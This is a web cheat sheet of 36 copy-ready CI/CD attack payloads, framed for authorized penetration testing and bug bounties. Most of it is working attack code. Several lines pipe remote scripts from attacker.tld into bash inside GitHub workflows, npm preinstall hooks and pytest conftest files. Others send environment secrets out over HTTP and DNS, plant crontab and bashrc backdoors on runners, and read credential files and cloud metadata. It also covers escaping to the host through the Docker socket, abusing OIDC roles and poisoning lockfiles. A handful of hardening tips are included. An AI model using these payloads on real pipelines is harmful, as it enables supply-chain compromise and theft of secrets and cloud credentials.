CI/CD pipeline attack techniques: poisoned pipeline execution (PPE), GitHub Actions expression injection, secret exfiltration, self-hosted runner abuse, OIDC trust misconfiguration, and supply-chain dependency confusion. (36 payloads)
# Direct PPE: modify the pipeline definition in your PR branch
# .github/workflows/ci.yml (or .gitlab-ci.yml / Jenkinsfile)
# If the workflow triggers on `pull_request` and runs your code, you control execution
jobs:
test:
runs-on: ubuntu-latest
steps:
- run: curl -s https://attacker.tld/x | bash# Indirect PPE (3PE): pipeline config is on the protected branch, but it
# executes user-controllable files from the PR — build scripts, test runners, linters
npm test # runs package.json "test" script you control
make test # runs Makefile target you control
./gradlew test # runs build.gradle / gradle tasks you control
pre-commit run # runs .pre-commit-config.yaml hooks you control# Poison the lifecycle hooks that run *before* tests, often pre-install
# package.json
{
"scripts": {
"preinstall": "curl -s https://attacker.tld/s.sh | sh",
"postinstall": "node -e \"require('child_process').exec('id')\""
}
}
# `npm install` / `npm ci` on the runner triggers these automatically# Conftest / dynamic config PPE in Python pipelines
# tests/conftest.py is imported by pytest before collection
import os, subprocess
subprocess.run('curl -s https://attacker.tld/x|bash', shell=True)# Identify PPE-able triggers in GitHub Actions:
on:
pull_request: # runs from PR HEAD, but with read-only token + no secrets
pull_request_target: # DANGEROUS — runs from BASE with write token + secrets
workflow_run: # can inherit elevated context from the triggering run
issue_comment: # ChatOps bots that run on /retest etc.# Recon a target repo's pipeline surface before crafting a PPE PR:
git clone https://github.com/org/repo && cd repo
find . -path ./.git -prune -o \( -name '*.yml' -o -name '*.yaml' \) -print | grep -Ei 'workflow|ci|gitlab|azure-pipelines'
cat .github/workflows/*.yml
grep -rEn 'pull_request_target|workflow_run|self-hosted|secrets\.' .github/# Vulnerable: untrusted input interpolated directly into a shell run step
- name: Print title
run: echo "PR title: ${{ github.event.pull_request.title }}"
# Attacker sets PR title to:
a"; curl -s https://attacker.tld/x | bash; echo "# Attacker-controllable context fields commonly mishandled:
${{ github.event.pull_request.title }}
${{ github.event.pull_request.body }}
${{ github.event.pull_request.head.ref }} # branch name
${{ github.event.pull_request.head.repo.default_branch }}
${{ github.event.issue.title }}
${{ github.event.comment.body }}
${{ github.event.review.body }}
${{ github.head_ref }}# Branch-name injection (head.ref / head_ref):
git checkout -b 'a";id;echo "'
git push fork 'a";id;echo "'
# Then open a PR — if the workflow does run: echo ${{ github.head_ref }}
# the runner executes `id`# Safe pattern (defender reference) — pass through env, never inline:
- name: Print title
env:
TITLE: ${{ github.event.pull_request.title }}
run: echo "PR title: $TITLE"
# env-var assignment is not re-parsed as shell, so injection is neutralized# Injection into actions/github-script (JS context, not shell):
- uses: actions/github-script@v7
with:
script: |
console.log("${{ github.event.issue.title }}")
# Title = "); require('child_process').execSync('id'); (" → JS RCE# Exfil the runner's secrets/token once you have command exec on the runner:
env | grep -Ei 'token|secret|key|pass|aws|gh_' | base64 -w0 | curl -s -d @- https://attacker.tld/c
cat $GITHUB_ENV $GITHUB_OUTPUT 2>/dev/null
cat /home/runner/work/_temp/_runner_file_commands/* 2>/dev/null# pull_request_target gives a WRITE token + secrets while checking out attacker code:
on: pull_request_target
jobs:
build:
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }} # <-- checks out attacker's PR
- run: npm ci && npm test # <-- runs attacker code w/ secrets# Dump all masked secrets — masking only hides exact substrings, not transforms:
echo "$MY_SECRET" | base64 # masking misses the base64 form
echo "$MY_SECRET" | rev # reversed bypasses the mask
echo "$MY_SECRET" | sed 's/./& /g' # space-separated bypasses the mask
printf '%s' "$MY_SECRET" | xxd # hex dump bypasses the mask# Steal the auto-provisioned GITHUB_TOKEN and use it for repo writes:
curl -s -H "Authorization: token $GITHUB_TOKEN" \
https://api.github.com/repos/$GITHUB_REPOSITORY
# With write perms: push to protected files, create releases, approve checks
git remote set-url origin https://x-access-token:[email protected]/$GITHUB_REPOSITORY
git push origin HEAD:main# Long-lived secrets are stored on disk by many CI setups — grep the filesystem:
grep -rEn 'AKIA[0-9A-Z]{16}|ghp_[0-9A-Za-z]{36}|xox[baprs]-|-----BEGIN' / 2>/dev/null
cat ~/.docker/config.json ~/.npmrc ~/.aws/credentials ~/.kube/config 2>/dev/null
env | sort# Exfil cache/artifacts that leaked secrets between jobs:
# GitHub: download artifacts from a prior run
gh run download <run_id> -n build-artifacts
# Inspect actions/cache restores — secrets baked into node_modules/.bin or .env
find . -name '.env*' -o -name '*.pem' -o -name 'id_rsa*' 2>/dev/null# DNS-based exfil to evade egress filtering on the runner:
S=$(env | base64 -w0 | tr '+/=' '-_.' | head -c 200)
dig $S.attacker.tld @8.8.8.8 +short
nslookup $S.attacker.tld# Self-hosted runners on public repos are dangerous by default — any fork PR
# can schedule a job on YOUR infrastructure:
runs-on: self-hosted
# Recon from inside a job: is this a non-ephemeral host other tenants share?
hostname; whoami; id; uptime
ls -la /home/*/actions-runner/_work # leftover work dirs from other repos/jobs# Persist on a non-ephemeral runner — survive across future jobs:
crontab -l; (crontab -l 2>/dev/null; echo "* * * * * curl -s https://attacker.tld/b|bash") | crontab -
echo 'curl -s https://attacker.tld/b|bash' >> ~/.bashrc
# Or drop into the runner's own hooks:
export ACTIONS_RUNNER_HOOK_JOB_STARTED=/tmp/.hook # runs before every job# Steal the runner registration token / config to register rogue runners:
cat ~/actions-runner/.credentials ~/actions-runner/.runner 2>/dev/null
cat ~/actions-runner/.credentials_rsaparams 2>/dev/null
# .credentials holds the OAuth token the runner uses to poll for jobs# Pivot from the runner into the internal network (it's often inside the VPC):
for h in $(seq 1 254); do (ping -c1 -W1 10.0.0.$h >/dev/null && echo 10.0.0.$h up &); done
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ # cloud creds
curl -s http://kubernetes.default.svc/api/v1/namespaces 2>/dev/null # k8s api# GitLab equivalent — register against shared/group runners or read job vars:
env | grep -E 'CI_|GITLAB'
cat /etc/gitlab-runner/config.toml 2>/dev/null # runner tokens + executor config
# CI_JOB_TOKEN can read other projects' artifacts/registry if allowlisted# Docker-socket-mounted runners = trivial host escape:
ls -la /var/run/docker.sock && \
docker run -v /:/host --rm -it alpine chroot /host sh
# Or via the K8s API if the runner runs as a privileged pod (see Kubernetes sheet)# CI OIDC replaces long-lived cloud keys with short-lived federated tokens.
# Misconfigured trust policies are the bug. Inspect an AWS role's trust policy:
aws iam get-role --role-name gha-deploy --query 'Role.AssumeRolePolicyDocument'
# Look at the StringEquals/StringLike condition on token.actions.githubusercontent.com:sub# Overly broad subject claim — ANY repo in the org (or anyone) can assume the role:
"Condition": { "StringLike": {
"token.actions.githubusercontent.com:sub": "repo:my-org/*" // any repo in org
}}
// Worse: "repo:*" or missing :sub condition entirely → any GitHub repo on earth# Missing audience check — token minted for another aud is still accepted:
# Vulnerable trust: only checks :sub, never aud. Mint a token with custom aud:
- uses: actions/github-script@v7
id: tok
with:
script: |
core.setOutput('t', await core.getIDToken('sts.amazonaws.com'))
# Then assume-role-with-web-identity from a context the policy didn't intend# Decode the CI OIDC token to read its claims (what you can prove to the cloud):
TOKEN=$(curl -s -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
"$ACTIONS_ID_TOKEN_REQUEST_URL&audience=sts.amazonaws.com" | jq -r .value)
echo $TOKEN | cut -d. -f2 | base64 -d 2>/dev/null | jq # sub, aud, ref, repository, environment# Assume the cloud role with a stolen/minted OIDC token:
aws sts assume-role-with-web-identity \
--role-arn arn:aws:iam::1234567890:role/gha-deploy \
--role-session-name pwn \
--web-identity-token "$TOKEN" \
--duration-seconds 3600
# GCP: gcloud iam workload-identity-pools ... | Azure: federated credential subject match# GitHub Environment-scoped OIDC bypass — protection rules vs trust mismatch:
# Trust requires sub: repo:org/repo:environment:prod
# If a non-prod, attacker-reachable workflow can also set environment: prod
environment: prod
# the token's :environment claim becomes 'prod' and the role is assumable# Unpinned third-party action = silent RCE supply chain. Vulnerable:
- uses: some-org/some-action@v3 # mutable tag, repointed at will
- uses: some-org/some-action@main # worst — any push runs in your pipeline
# Hardened:
- uses: some-org/some-action@<full-40-char-commit-sha># Dependency confusion — publish a public package matching an internal name:
# Target installs @acme/internal-lib from a private registry.
# Publish @acme/internal-lib (or higher version) to the PUBLIC npm registry.
npm publish --access public # package.json preinstall script = RCE on the runner# Typosquatting / starjacking the install step:
# reqeusts (typo), python-dateutil vs dateutil, lodahs vs lodash
# Combine with install-time execution:
# setup.py / pyproject build hooks, npm postinstall, gem extconf.rb# Lockfile injection — sneak a malicious resolved URL/integrity into the lockfile
# in a PR; reviewers skim source diffs but ignore package-lock.json:
"resolved": "https://attacker.tld/evil.tgz",
"integrity": "sha512-<hash-of-evil>"
# npm ci honors the lockfile's resolved URL over the registry# Cache poisoning across PRs — write a backdoored cache that the base branch restores:
- uses: actions/cache@v4
with:
path: node_modules
key: deps-${{ hashFiles('**/package-lock.json') }}
# From a fork PR, populate the cache key with trojaned node_modules/.bin scripts# Detect the bug class with a build-time secret scan + integrity audit:
npm audit signatures # verify registry provenance
pip install --require-hashes -r requirements.txt # hash-pin everything
git log -p -- package-lock.json | head -100 # who touched the lockfile?Level up your security testing
Install the CLI
npx payload-playgroundExplore All Tools
Encoding, hashing, JWT & more
Browse Cheat Sheets
Quick-reference payload guides
It's a quick-reference collection of 36 CI/CD Security payloads for testing CI/CD Pipeline Security vulnerabilities during authorized penetration testing, bug bounties, and CTFs. Every payload is copy-ready and grouped by attack context.
Copy any payload straight into your authorized test, or use the GitHub Action Generator to apply them interactively. Only test systems you have explicit permission to assess.
Yes — this cheat sheet and all CI/CD Security payloads are completely free, with no account required. Everything runs in your browser.